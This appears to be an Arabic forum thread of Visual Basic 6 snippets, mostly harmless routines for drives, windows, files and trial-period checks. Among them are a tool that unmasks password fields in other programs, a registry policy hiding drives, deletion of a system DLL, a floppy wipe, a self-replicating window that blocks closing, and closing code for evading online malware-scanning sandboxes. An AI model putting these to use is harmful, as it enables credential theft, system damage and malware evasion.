command button
كود:
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Sub Command1_Click() Me.AutoRedraw = True Select Case GetDriveType(****1.**** & ":\") Case 2 Form1.Caption = "قرص مرن" Case 3 Form1.Caption = "قرص طلب" Case Is = 4 Form1.Caption = "Remote" Case Is = 5 Form1.Caption = "Cd-Rom" Case Is = 6 Form1.Caption = "Ram disk" Case Else Form1.Caption = "غير معين" End Select End Sub
كود:
Private Sub Form_Load() Command1.Caption = "ادخل القرص الذي تريد معرفته" End Sub
كود:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Sub OpenCDDriveDoor(ByVal State As Boolean)
If State = True Then
Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
Else
Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
End If
End Sub
Private Sub Command1_Click()
OpenCDDriveDoor (True)
End Sub
Private Sub Command2_Click()
OpenCDDriveDoor (False)
End Sub
كود:
Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_SHOWWINDOW = &H40
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClass**** As String, ByVal lpWindow**** As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Sub Command1_Click()
Dim Task As Long
Task = FindWindow("****************l_traywnd", "")
Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
Private Sub Command2_Click()
Dim Task As Long
Task = FindWindow("****************l_traywnd", "")
Call SetWindowPos(Task, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
كود:
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Sub Command1_Click() Dim hwnd As Long hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hwnd, 0 End Sub Private Sub Command2_Click() Dim hwnd As Long hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hwnd, 5 End Sub
كود:
Dim WSH As Object
Set WSH = CreateObject("Wscript.****************l")
WSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive", 16, "REG_DWORD"
كود:
Public Sub Delay(HowLong As Date)
TempTime = DateAdd("s", HowLong, Now)
While TempTime > Now
DoEvents
Wend
End Sub
Private Sub Command1_Click()
Delay 5
MsgBox "Test"
End Sub
كود:
Private Sub Form_Load() ****1.**** = GetSetting(App.Title, "Settings", "SaveIn****1") End Sub Private Sub Form_Unload(Cancel As Integer) SaveSetting App.Title, "Settings", "SaveIn****1", Trim(****1.****) End Sub
كود:
length = Len(****) startIndex = 1 Do While startIndex < length And resCount <> Limit ' get the next delimiter endIndex = InStr(startIndex, ****, Delimiter, CompareMethod) If endIndex = 0 Then endIndex = length + 1 ' make room in the array, if necessary If resCount > UBound(res) Then ReDim Preserve res(0 To resCount + 99) As String End If ' store the new element res(resCount) = Mid$(****, startIndex, endIndex - startIndex) resCount = resCount + 1 startIndex = endIndex + Len(Delimiter) Loop ' trim unused values ReDim Preserve res(0 To resCount - 1) As String ' return the array inside a Variant Split = res() End Function
كود:
Dim RanNo() As Long Dim i, j, tmp Private Sub RandomizeNumbers(ByVal iFrom As Integer, ByVal iTo As Integer) ReDim RanNo(iFrom To iTo) For i = iFrom To iTo RanNo(i) = i Next i Randomize (Timer) For i = iFrom To iTo j = CInt((iTo - iFrom) * Rnd + iFrom) tmp = RanNo(i) RanNo(i) = RanNo(j) RanNo(j) = tmp Next i End Sub Private Sub Command1_Click() RandomizeNumbers 0, 100 For i = 0 To 100 List1.AddItem RanNo(i) Next i
كود:
Public nid As NOTIFYICONDATA Private Sub Form_Load() Me.Show Me.******* With nid .cbSize = Len(nid) .hWnd = Me.hWnd .uId = vbNull .uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE .uCallBackMessage = WM_MOUSE**** .hIcon = Me.Icon .szTip = "Your ToolTip" & vbNullChar End With ****************l_NotifyIcon NIM_ADD, nid End Sub Private Sub Form_Resize() If Me.WindowState = vbMinimized Then Me.Hide End Sub Private Sub Form_Unload(Cancel As Integer) ****************l_NotifyIcon NIM_DELETE, nid End Sub
كود:
'ÖÚ åÐÇ ÇáßæÏ Ýí ÇáÝæÑã Private Sub Form_Load() Dim i As Integer For i = 0 To Screen.FontCount - 1 Combo1.AddItem Screen.Fonts(i) Next i Combo1.**** = Combo1.List(0) End Sub
كود:
Private Sub Command1_Click()
****************l "RUNDLL32.EXE URL.DLL,FileProtocolHandler http://www.al-ebda3.info/ib/", vbNormalFocus
End Sub
Private Sub Label8_Click()
Dim X As Object
Set X = CreateObject("InternetExplorer.Application")
X.Navigate "spysky.43i.net"
X.Visible = True
End Sub
كود:
Private Sub Command1_Click() **** "c:\Autoexec.bat" As "D:\Autoexec.bat" End Sub
كود:
Private Sub Command1_Click() Open "c:\autoexec.bat" For Input As #1 Count: SS = SS + 1 Line Input #1, x If EOF(1) Then Label1.Caption = SS Exit Sub Else GoTo Count: End If Close End Sub
كود:
Private Sub Command1_Click() Open "c:\autoexec.bat" For Input As #1 Count: SS = SS + 1 Line Input #1, x If EOF(1) Then Label1.Caption = SS Exit Sub Else GoTo Count: End If
كود:
Private Sub Command1_Click()
Print FileLen("c:\Autoexec.bat")
End Sub
كود:
Private Sub Command1_Click()
Kill ("C:\File****.fnm")
End Sub
كود:
Private Sub Command1_Click() open "c:\File****.txt" for append as #1 Print #1,"Willkommen auf die Erde" Close #1 End Sub
كود:
rivate Sub Command1_Click() FileCopy "c:\Autoexec.bat", "d:\Autoexec.bat" End Sub
كود:
Private Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Boolean End Type Private Declare Function CreateDirectory Lib "kernel32.dll" Alias "CreateDirectoryA" (ByVal lpPath**** As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long Private Sub Command1_Click() Dim attr As SECURITY_ATTRIBUTES ' security attributes structure Dim rval As Long ' Set security attributes attr.nLength = Len(attr) 'size of the structure attr.lpSecurityDescriptor = 0 'normal level of security attr.bInheritHandle = 1 'default setting ' Create directory. rval = CreateDirectory(****1.****, attr) End Sub Private Sub Form_Load() ****1.**** = "c:\Abdu" Command1.Caption = "New Directory"
كود:
Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpRootPath**** As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long Private Sub Form_Load() Dim r As Long, BytesFreeToCalller As Currency, TotalBytes As Currency Dim TotalFreeBytes As Currency, TotalBytesUsed As Currency Const RootPath**** = "c:\" Call GetDiskFreeSpaceEx(RootPath****, BytesFreeToCalller, TotalBytes, TotalFreeBytes) Me.AutoRedraw = True Me.Cls Me.Print Me.Print Me.Print Me.Print " Total Number Of Bytes:", Format$(TotalBytes * 10000, "###,###,###,##0") & " bytes" Me.Print " Total Free Bytes:", Format$(TotalFreeBytes * 10000, "###,###,###,##0") & " bytes" Me.Print " Free Bytes Available:", Format$(BytesFreeToCalller * 10000, "###,###,###,##0") & " bytes" Me.Print " Total Space Used :", Format$((TotalBytes - TotalFreeBytes) * 10000, "###,###,###,##0") & " bytes" End Sub
كود اخر
كود:
Private Sub Form_Unload(Cancel As Integer) Cancel = 1 timer1.enabled=true MsgBox "You have just unleashed 'The Beast'" End Sub Private Sub Timer1_Timer() Dim leftI As Long Dim rightI As Long leftI = Form1.Left + 1000 rightI = Form1.Top + 1000 Dim a As New Form1 a.***** = Me.***** a.****** = Me.****** a.Left = leftI a.Top = rightI a.Show End Sub
معرفة الوقت الذي مضى على تشغيل الويندوز (الوقت هنا بالملي ثانية)
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function GetTickCount Lib "Kernel32" () As Long
Private Sub Command1_Click()
MsgBox Format(GetTickCount, "0")
End Sub
--------------------------------------------------------------------------------
كود لمعرفة كلمات السر على هيئة نجوم *****
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Timer1_Timer()
Const EM_SETPASSWORDCHAR = &HCC
Dim coord As POINTAPI
'نقوم هنا بمعرفة احداثى الفأرة
s = GetCursorPos(coord)
x = coord.x
y = coord.y
'المكتوب بها كلمة المرور(****box)نقوم هنا بمعرفة مقبض آداة التحرير
h = WindowFromPoint(x, y)
'Char 0 الى (PasswordChar)فى هذه الخطوة نقوم بتعديل خاصية ال
Dim NewChar As Integer
NewChar = CLng(0)
retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0)
End Sub
--------------------------------------------------------------------------------
كود لاضافة بيانات حقل معين في قاعدة البيانات الى عنصر list
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Activate()
Dim a As String
Do While Not Data1.Recordset.EOF = True
a = Data1.Recordset.Fields("****").Value
' هنا تمثل اسم الحقل في قاعدة البيانات **** كلمة
List1.AddItem a
Data1.Recordset.MoveNext
Loop
End Sub
--------------------------------------------------------------------------------
كود يقوم بحماية برنامجك حيث يعمل عدد من المرات (تحددها بنفسك) ثم يتوقف نهائيا عن العمل ، وهو يشبه طريقة عمل الـ(register) في البرامج المشهورة
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
retvalue = GetSetting("A", "0", "Runcount")
GD$ = Val(retvalue) + 1
SaveSetting "A", "0", "RunCount", GD$
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل
MsgBox "انتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية"
Unload FRM '
End If
End Sub
--------------------------------------------------------------------------------
يقوم بتحويل شكل التكست واليبل الى 3d
*كود برمجي*
--------------------------------------------------------------------------------
'Set form's AutoRedraw property toTrue
Sub PaintControl3D(frm As Form, Ctl As Control)
' This Sub draws lines around controls to make them 3d
' darkgrey, upper - horizontal
frm.Line (Ctl.Left, Ctl.Top - 15)-(Ctl.Left + _
Ctl.*****, Ctl.Top - 15), &H808080, BF
' darkgrey, left - vertical
frm.Line (Ctl.Left - 15, Ctl.Top)-(Ctl.Left - 15, _
Ctl.Top + Ctl.******), &H808080, BF
' white, right - vertical
frm.Line (Ctl.Left + Ctl.*****, Ctl.Top)- _
(Ctl.Left + Ctl.*****, Ctl.Top + Ctl.******), &HFFFFFF, BF
' white, lower - horizontal
frm.Line (Ctl.Left, Ctl.Top + Ctl.******)- _
(Ctl.Left + Ctl.*****, Ctl.Top + Ctl.******), &HFFFFFF, BF
End Sub
Sub PaintForm3D(frm As Form)
' This Sub draws lines around the Form to make it 3d
' white, upper - horizontal
frm.Line (0, 0)-(frm.Scale*****, 0), &HFFFFFF, BF
' white, left - vertical
frm.Line (0, 0)-(0, frm.Scale******), &HFFFFFF, BF
' darkgrey, right - vertical
frm.Line (frm.Scale***** - 15, 0)-(frm.Scale***** - 15, _
frm.******), &H808080, BF
' darkgrey, lower - horizontal
frm.Line (0, frm.Scale****** - 15)-(frm.Scale*****, _
frm.Scale****** - 15), &H808080, BF
End Sub
'DEMO USAGE
'Add 1 label and 1 ****box
Private Sub Form_Load()
Me.AutoRedraw = True
PaintForm3D Me
PaintControl3D Me, Label1 'Label1 is **** of label
PaintControl3D Me, ****1 '****1 is **** of ****box
End Sub
ملاحظة في البداية لبد من انشاء تكست وليبل
--------------------------------------------------------------------------------
كود الاظهار النص بشكل عمودي
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Activate()
Dim s As String
For i = 1 To Len(Label1)
s = s & Mid$(Label1, i, 1) & vbCrLf
Next
Label1 = s
End Sub
--------------------------------------------------------------------------------
كود تستطيع من خلاله حذف اي ملف
*كود برمجي*
--------------------------------------------------------------------------------
قم بوضع هذا الكود في قسم جنرال
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFile**** As String, ByVal lpNewFile**** As String, ByVal bFailIfExists As Long) As Long
ومن ثم حدد سار الملف مثال
Private Sub Command1_Click()
dim x
x = DeleteFile("C:\WINDOWS\system\LZEXPAND.DLL")
--------------------------------------------------------------------------------
كود لاستدعاء ملف من نوع mid
*كود برمجي*
--------------------------------------------------------------------------------
قم بوضع اداة
mmcontrol1
m و
اجعل نامي
Private Sub Form_Load()
m.DeviceType = "sequencer"
m.File**** = ("e:\Holiday3.mid")
m.Command = "open"
m.Command = "play"
END SUB
--------------------------------------------------------------------------------
كود لتحميل فلاش من نوع SWF
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
s.Movie = ("E:\Projects\Howl.swf")
End Sub
--------------------------------------------------------------------------------
كود لوضع مقطع الفيديو في بكتشر
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
MM.HWNDDISPLAY=PICTURE1.HWND
End Sub
--------------------------------------------------------------------------------
الزر الأيمن للماوس
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
IF BUTTON=2 THEN
msgbox "الزر الأيمن للماوس"
END IF
End Sub
--------------------------------------------------------------------------------
لكتابة بس ارقام في تكست بوكس
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub COMMAND1_CLICK()
DIM SS AS STRING
SS="123456789"
IF INSTR(SS,CHR(KEYASCII)=0 THEN
KEYASCII=0
END IF
End Sub
--------------------------------------------------------------------------------
عمل مسح ملفات للقرص المرن
*كود برمجي*
--------------------------------------------------------------------------------
kill"A:\*.*"
--------------------------------------------------------------------------------
عرض صندوق حوار Open With
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Dim x As Long
x = ****************l("rundll32.exe ****************l32.dll,OpenAs_RunDLL C:\******.log")
End Sub
--------------------------------------------------------------------------------
حساب عدد سطور ملف نصى
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Open "c:\autoexec.bat" For Input As #1
Count:
n = n + 1
Line Input #1, x
If EOF(1) Then
Label1.Caption = n
Exit Sub
Else
GoTo Count:
End If
Close
End Sub
--------------------------------------------------------------------------------
فحص المنافذ
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo opn:
Winsock1.LocalPort = ****1.****
Winsock1.Listen
****2.**** = "المنفذ غير مفتوح"
Winsock1.Close
Exit Sub
opn:
If Err.Number = 10048 Then
****2.**** = "المنفذ مفتوح"
Else
****2.**** = "يوجد مشكلة"
End If
Winsock1.Close
End Sub
--------------------------------------------------------------------------------
البرنامج يعمل على القرص المدمج (السيدي رووم) فقط
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
Private Sub Form_Load()
Dim driveType As Long
driveType = GetDriveType(Mid(App.Path, 1, 3))
If driveType <> 5 Then
'إنهاء البرنامج إذا كان لايشتغل من القرص المدمج
End
End If
End Sub
--------------------------------------------------------------------------------
هذا كود لتشفير وفك تشفير نص
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
For i = 1 To Len(****1.****)
st1 = Mid(****1.****, i, 1)
a = Asc(st1)
ch1 = Chr(255 - a)
st = st + ch1
Next
****1.**** = st
End Sub
--------------------------------------------------------------------------------
هذا الكود لإضافة عروض الفلاش لبرنامجك
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
Dim s As String
s = App.Path
If Mid(s, Len(s), 1) <> "\" Then s = s + "\"
ShockwaveFlash1.Movie = s + "a4.swf"
End Sub
--------------------------------------------------------------------------------
لإنهاء صلاحيات برنامجك التجريبي بعد30 يوماً فقط
*كود برمجي*
--------------------------------------------------------------------------------
Dim startdate As String
Dim differenceofdate
Dim TRACEDATE As String
Dim newdate
Dim chk
If GetSetting(App.Title, "Startup", "counter", "") = "" Then
SaveSetting App.Title, "Startup", "counter", 1
SaveSetting App.Title, "Startup", "Started", Format(Date, "mm dd yyyy")
SaveSetting App.Title, "Startup", "Last Used", Format(Date, "mm dd yyyy")
lblcnt.Caption = "1"
ElseIf GetSetting(App.Title, "Startup", "counter", "") = "31" Then
MsgBox "شكراً لستخدامك هذا البرنامج " & Chr(10) + Chr(1) & "الرجاء إيقاف عمل هذا البرنامج او سيتم فقدان كل المعلومات التي قمت بإدخالها ", vbCritical, "شكراً لك "
End
Else
TRACEDATE = GetSetting(App.Title, "Startup", "Last Used", "")
chk = DateDiff("d", CDate(TRACEDATE), Now)
If chk < 0 Then 'CHECK IF THE DATE WAS CHANGE which is lesser than the PREVIOUS DATE WHERE THE SYSTEM USED.
MsgBox "لم يتم العثور على تاريخ النظام لديك !! " & Chr(10) + Chr(13) & " الرجاء تغييرة الأن وإلا لن يكون بإمكانك إستخدام هذا البرنامج لاحقاً", vbCritical, "تاريخ مفقود"
End
Else
startdate = GetSetting(App.Title, "Startup", "Started", "")
differenceofdate = DateDiff("d", startdate, Now)
If differenceofdate <> 0 Then
lblcnt.Caption = differenceofdate + 1
SaveSetting App.Title, "Startup", "Last Used", Format(Now, "MM DD YYYY")
SaveSetting App.Title, "Startup", "counter", differenceofdate + 1
End If
If differenceofdate = 0 Then
lblcnt.Caption = GetSetting(App.Title, "Startup", "Counter", "")
End If
End If
End If
End Sub
--------------------------------------------------------------------------------
هذا الكود يمكنك من قلب الصور عمودياً أو افقيا او نسخها
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Command1_Click()
'الوضع الطبيعي النسخ
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, 0, 0, _
Picture1.*****, Picture1.******, vbSrcCopy
End Sub
Private Sub Command2_Click()
'الوضع الافقي
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, Picture1.*****, _
0, -Picture1.*****, Picture1.******, vbSrcCopy
End Sub
Private Sub Command3_Click()
'الوضع العمودي
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, 0, Picture1.******, _
Picture1.*****, -Picture1.******, vbSrcCopy
End Sub
Private Sub Command4_Click()
'لقلب الصورة
Picture2.PaintPicture Picture1.Picture, 0, 0, _
Picture1.*****, Picture1.******, Picture1.*****, _
Picture1.******, -Picture1.*****, -Picture1.******, vbSrcCopy
End Sub
--------------------------------------------------------------------------------
كود لنسخ خلفية سطح المكتب إلى نموذجك
*كود برمجي*
--------------------------------------------------------------------------------
Private Declare Function PaintDesktop Lib "user32" _
(ByVal hdc As Long) As Long
'انسخ هذ الكودالى حدث النقر في زر الامر
Private Sub Command1_Click()
PaintDesktop Form1.hdc
End Sub
--------------------------------------------------------------------------------
تحويل اي حرف إلى حرف ASCII
*كود برمجي*
--------------------------------------------------------------------------------
Dim temp as String
temp=asc(****1.****)
MsgBox temp
--------------------------------------------------------------------------------
تحيه حسب الوقت
*كود برمجي*
--------------------------------------------------------------------------------
Private Sub Form_Load()
If Time <= "11:30 AM" Then
MsgBox ("Good Morning Your****Here!")
End
End If
If Time > "11:30 AM" And Time < "5:00 PM" Then
MsgBox ("Good Afternoon Your****Here!")
End
End If
If Time > "5:00 PM" Then
MsgBox ("Good Evening Your****Here!")
End
End If
If Time >= "12:01 AM" Then
MsgBox ("Good Morning Your****Here!")
End
End If
End Sub
--------------------------------------------------------------------------------
نوعية القرص (قرص مرن،سي دي،.....)
*كود برمجي*
--------------------------------------------------------------------------------
'التصاريح
Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Const DRIVE_CDROM = 5
Public Const DRIVE_FIXED = 3
Public Const DRIVE_RAMDISK = 6
Public Const DRIVE_REMOTE = 4
Public Const DRIVE_REMOVABLE = 2
'الكود
Dim strDrive As String
Dim strMessage As String
Dim intCnt As Integer
For intCnt = 65 To 86
strDrive = Chr(intCnt)
Select Case GetDriveType(strDrive + ":\")
Case DRIVE_REMOVABLE
rtn = "Floppy Drive"
Case DRIVE_FIXED
rtn = "Hard Drive"
Case DRIVE_REMOTE
rtn = "Network Drive"
Case DRIVE_CDROM
rtn = "CD-ROM Drive"
Case DRIVE_RAMDISK
rtn = "RAM Disk"
Case Else
rtn = ""
End Select
If rtn <> "" Then
strMessage = strMessage & vbCrLf & "Drive " & strDrive & " is type: " & rtn
End If
Next intCnt
MsgBox (strMessage)
=================================
هناك بعض الكلمات المشفره و هي معروفة :
w e b
s h e l
n a m e
m e t a
...
و عذرا على التقصير
هذي آكوآدْ تـخليْ البـرنآمجْ شفآفْ ويـطلعْ شـكلةْ خطـيرْ
المثآل في المرفقآتْ
كـود الجنرآل
كود:
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long , ByValcrKey As Long , ByVal bAlpha As Byte , ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long , ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long) As Long Const LWA_ALPHA = 2 Const GWL_EXSTYLE = (-20) Const WS_EX_LAYERED = &H80000
كود:
Private Sub Form_Load() SetWindowLong hwnd , GWL_EXSTYLE , GetWindowLong(hwnd , GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes hwnd , 0 , 128 , LWA_ALPHA End Sub
تحويل لغة الكيبورد من عربي الى انجليزي
اول شي ضيف text و command2 وضيف موديل
كود الجنرال
كود العربي
كود الانجليزي
كود الحدث ArabicKeyboard
كود الموديل
..
..
اول شي ضيف text و command2 وضيف موديل
كود الجنرال
Dim ddxx As Long |
Call ArabicKeyboard("a") |
Call ArabicKeyboard("e") |
Sub ArabicKeyboard(language As String) Dim D As String Select Case LCase(language) Case "a" ddxx = GetKeyboardLayout(0) If ddxx = "67699721" Then D = ActivateKeyboardLayout(1, 0) Case "e" ddxx = GetKeyboardLayout(0) If ddxx <> "67699721" Then D = ActivateKeyboardLayout(0, 0) End Select End Sub |
Option Explicit Declare Function ActivateKeyboardLayout Lib "user32" (ByVal HKL As Long, ByVal Flags As Long) As Long Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long |
..
طريقة تغيير اسم البرنامج من مربع النص
ضع text1!
وضع زر command1
ضع هذا الكود في الـ command1
الان اكتب اسم البرنامج في آلـtext1
واضغط على الزر تلاحظ تغيير اسم البرنامج الى القيمة الي وضعتها في الـ text1
ضع text1!
وضع زر command1
ضع هذا الكود في الـ command1
Form1.Caption = Text1.Text |
واضغط على الزر تلاحظ تغيير اسم البرنامج الى القيمة الي وضعتها في الـ text1
private sub form_unload(cancel as integer) if msgbox("exit", vbyesno, "exitpro") = vbno then cancel = true end if end sub |
هذي آكوآدْ تـخليْ البـرنآمجْ شفآفْ ويـطلعْ شـكلةْ حلو
كـود الجنرآل
~~
كود الفورم لود
لا تنسونسي من صالح الدعاء و التقييم ان امكن
كـود الجنرآل
كود:
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long , ByValcrKey As Long , ByVal bAlpha As Byte , ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long , ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long) As Long Const LWA_ALPHA = 2 Const GWL_EXSTYLE = (-20) Const WS_EX_LAYERED = &H80000
كود الفورم لود
كود:
Private Sub Form_Load() SetWindowLong hwnd , GWL_EXSTYLE , GetWindowLong(hwnd , GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes hwnd , 0 , 128 , LWA_ALPHA End Sub
لا تنسونسي من صالح الدعاء و التقييم ان امكن
كـود إذا حاب ان برنامجك ما ينفتح الا بـ بآسورد ..~
وإن كآن قديم ولآ مكرر فآيام سوري بس حبيت آنقل للفـآيدهـ..
تسوي فورم إضافي وتحط فيه textbox وزر مثلا لدخول
وتكتب هالكود
كود:
if text1.text = "آكتب كلمة المرور اللي تبي" then
form1.show
else
msgbox"برجاء كتابة كلمة المرور الصحيحة"
exit sub
end if
كود:
وآضح فوق آكتب كلمة المرور الي تبي المستخدم يدخلهـآ
.
.
.
إن شـآء الله كلش وآضح ومفهوم ..
'Declarations
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
'Code
Private Sub Form_Load()
Dim lngRegion As Long
Dim lngReturn As Long
Dim lngFormWidth As Long
Dim lngFormHeight As Long
lngFormWidth = Me.Width / Screen.TwipsPerPixelX
lngFormHeight = Me.Height / Screen.TwipsPerPixelY
lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight)
lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True)
End Sub
كود تخطي بعض موآقع آلفحص !
شرح آلكود بهذا الموضوع :
||~ حصرياً Vb6 : طريقه تخطي بعض موآقع آلفحص ::.
كود:
' This CodeD By : DeaD SouL Option Explicit Private Const DFP_RECEIVE_DRIVE_DATA = &H7C088 Private Const FILE_SHARE_READ = &H1 Private Const FILE_SHARE_WRITE = &H2 Private Const GENERIC_READ = &H80000000 Private Const GENERIC_WRITE = &H40000000 Private Const OPEN_EXISTING = 3 'Private Const CREATE_NEW = 1 Private Const CREATE_ALWAYS = 2 Private Type IDEREGS bFeaturesReg As Byte bSectorCountReg As Byte bSectorNumberReg As Byte bCylLowReg As Byte bCylHighReg As Byte bDriveHeadReg As Byte bCommandReg As Byte bReserved As Byte End Type Private Type SENDCMDINPARAMS cBufferSize As Long irDriveRegs As IDEREGS bDriveNumber As Byte bReserved(1 To 3) As Byte dwReserved(1 To 4) As Long End Type Private Type DRIVERSTATUS bDriveError As Byte bIDEStatus As Byte bReserved(1 To 2) As Byte dwReserved(1 To 2) As Long End Type Private Type SENDCMDOUTPARAMS cBufferSize As Long DStatus As DRIVERSTATUS bBuffer(1 To 512) As Byte End Type Private Declare Function CreateFileA Lib "kernel32" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, ByVal lpOverlapped As Long) As Long Private Declare Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (dest As Any, ByVal numBytes As Long) Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private mvarCurrentDrive As Byte Private mvarPlatform As String Public Function GetPhysicalDriveModelName() As String Dim bin As SENDCMDINPARAMS Dim bout As SENDCMDOUTPARAMS Dim hdh As Long Dim br As Long Dim ix As Long Dim sTemp As String hdh = CreateFileA("\\.\PhysicalDrive0", GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0) ZeroMemory bin, Len(bin) ZeroMemory bout, Len(bout) With bin .bDriveNumber = mvarCurrentDrive .cBufferSize = 512 With .irDriveRegs If (mvarCurrentDrive And 1) Then .bDriveHeadReg = &HB0 Else .bDriveHeadReg = &HA0 End If .bCommandReg = &HEC .bSectorCountReg = 1 .bSectorNumberReg = 1 End With End With DeviceIoControl hdh, DFP_RECEIVE_DRIVE_DATA, bin, Len(bin), bout, Len(bout), br, 0 For ix = 55 To 94 Step 2 If bout.bBuffer(ix + 1) = 0 Then Exit For sTemp = sTemp & Chr(bout.bBuffer(ix + 1)) If bout.bBuffer(ix) = 0 Then Exit For sTemp = sTemp & Chr(bout.bBuffer(ix)) Next ix CloseHandle hdh GetPhysicalDriveModelName = Trim(sTemp) End Function Public Sub PrintSandboxed(szMsg As String) Dim hFile As Long hFile = CreateFileA(szMsg, GENERIC_WRITE, 0, 0&, CREATE_ALWAYS, 0, 0&) CloseHandle hFile End Sub
شرح آلكود بهذا الموضوع :
||~ حصرياً Vb6 : طريقه تخطي بعض موآقع آلفحص ::.
اولا قم باضافة command و text1 و text2 و text3و timer و الاداة winsock
**** طريقة التنفيذ :-
هذا البرنامج يعمل على فحص البورت هل هو مفتوح ام لا
حيث يتم وضع رقم البورت الذي تريد ان تبدأ منه في الtext1 و قم البورت الذي تريد ان يصل له الفحص في text2
